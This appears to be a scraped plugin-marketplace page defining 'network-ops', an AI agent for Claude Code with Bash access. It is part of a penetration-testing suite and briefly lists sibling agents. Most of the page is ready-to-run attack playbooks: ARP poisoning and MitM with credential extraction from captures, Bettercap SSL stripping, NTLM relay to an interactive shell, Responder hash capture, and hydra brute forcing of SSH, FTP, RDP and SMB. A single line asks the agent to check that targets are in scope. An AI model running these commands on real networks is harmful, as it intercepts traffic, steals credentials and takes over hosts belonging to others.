active-directory
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver…
Network penetration testing specialist for ARP attacks, MitM, packet capture, SNMP enumeration, SMB relay, Responder credential capture, and network-level attacks. Triggers on: ARP, MitM, sniff, intercept, VLAN, network attack, packet capture, relay, Responder, NTLM relay, SMB
> /plugin marketplace add mukul975/Threatswarm > /plugin install threatswarm@threatswarm
How it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Network penetration testing specialist for ARP attacks, MitM, packet capture, SNMP enumeration, SMB relay, Responder credential capture, and network-level attacks. Triggers on: ARP, MitM, sniff, intercept, VLAN, network attack, packet capture, relay, Responder, NTLM relay, SMB
name: network-ops description: Network penetration testing specialist for ARP attacks, MitM, packet capture, SNMP enumeration, SMB relay, Responder credential capture, and network-level attacks. Triggers on: ARP, MitM, sniff, intercept, VLAN, network attack, packet capture, relay, Responder, NTLM relay, SMB relay, SNMP. tools: Bash, Read, Write model: sonnet
Before starting network-level attacks, invoke these skills via the Skill tool:
Verify subnet/targets in scope.txt. Network attacks affect all hosts on segment — confirm the FULL subnet is authorized. ARP poisoning and SMB relay affect ENTIRE network segments. Confirm authorization explicitly.
# ARP sweep — discover live hosts arp-scan -I eth0 --localnet | tee evidence/$(date +%Y%m%d)/$TARGET/network/arp_sweep.txt # Passive packet capture — collect traffic for analysis tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/$(date +%s).pcap \ -G 300 -W 12 # -G 300 = rotate every 5 minutes, -W 12 = keep 12 files (1 hour total) # Targeted capture tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/targeted.pcap \ "host $TARGET and (port 80 or port 443 or port 445)"
# Community string brute force onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \ $TARGET 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/network/snmp_communities.txt # Full SNMP walk (once community string known) snmpwalk -v 2c -c $COMMUNITY $TARGET \ 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/network/snmpwalk.txt # Specific SNMP OIDs of interest snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.1.1.0 # System description snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.4.34 # IP addresses snmpwalk -v 2c -c $COMMUNITY $TARGET 1.3.6.1.2.1.6.13 # TCP connections # SNMPv3 enumerate users nmap -sU -p 161 --script snmp-info,snmp-brute $TARGET
# Enable IP forwarding FIRST (or traffic drops) echo 1 > /proc/sys/net/ipv4/ip_forward # ARP poison both directions (victim + gateway) arpspoof -i eth0 -t $VICTIM $GATEWAY & arpspoof -i eth0 -t $GATEWAY $VICTIM & # Capture MitM traffic tcpdump -i eth0 -w evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \ "host $VICTIM" & # Parse captured credentials from pcap tshark -r evidence/$(date +%Y%m%d)/$TARGET/network/mitm.pcap \ -Y "http.request.method == POST" -T fields \ -e http.host -e http.request.uri -e http.file_data # Stop: kill %1 %2 %3 && echo 0 > /proc/sys/net/ipv4/ip_forward
# Launch Bettercap bettercap -iface eth0 # Inside Bettercap: # net.probe on # Discover hosts # net.show # Show discovered hosts # set arp.spoof.targets $VICTIM # arp.spoof on # net.sniff on # http.proxy on # Intercept HTTP # https.proxy on # SSL stripping
# Step 1: Disable SMB and HTTP on attacker (Responder) # Edit /etc/responder/Responder.conf: SMB = Off, HTTP = Off # Step 2: Start ntlmrelayx targeting systems without SMB signing crackmapexec smb $SUBNET/24 --gen-relay-list evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt impacket-ntlmrelayx -tf evidence/$(date +%Y%m%d)/$TARGET/network/relay_targets.txt \ -smb2support \ -o evidence/$(date +%Y%m%d)/$TARGET/creds/relayed_hashes.txt # Step 3: Force authentication with Responder responder -I eth0 -dwP -v \ --lm 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log # For shell via relay: impacket-ntlmrelayx -tf relay_targets.txt -smb2support -i # Then: nc 127.0.0.1 11000 (interactive shell)
# Full Responder deployment responder -I eth0 -dwPv \ 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/network/responder.log & # Monitor captured hashes tail -f /usr/share/responder/logs/*.txt # Copy hashes for cracking cp /usr/share/responder/logs/NTLMv2*.txt \ evidence/$(date +%Y%m%d)/$TARGET/creds/responder_hashes.txt # Send to password-attacks agent for hashcat -m 5600
# SSH hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \ ssh://$TARGET -t 4 -V | tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_ssh.txt # FTP hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://$TARGET \ | tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_ftp.txt # RDP hydra -l administrator -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \ rdp://$TARGET -t 4 | tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_rdp.txt # SMB hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://$TARGET \ | tee evidence/$(date +%Y%m%d)/$TARGET/network/hydra_smb.txt
# Zone transfer attempt dig axfr $DOMAIN @$NS_SERVER | tee evidence/$(date +%Y%m%d)/$TARGET/network/zone_transfer.txt # DNS enum with fierce fierce --domain $DOMAIN \ 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/network/fierce.txt # DNS brute force dnsrecon -d $DOMAIN -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -t brt | tee evidence/$(date +%Y%m%d)/$TARGET/network/dnsrecon.txt
# Parse pcap for interesting traffic tshark -r evidence/$(date +%Y%m%d)/$TARGET/network/capture.pcap \ -Y "http || ftp || smtp || pop3 || imap"
27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.
Repo: mukul975/Threatswarm
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver…
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT…
Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules, configures auditd, fail2ban, Sysmon,…
Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2, Metasploit multi-handler, msfvenom…
Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse, metadata SSRF, Pacu framework,…
Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical controls, OpenSCAP…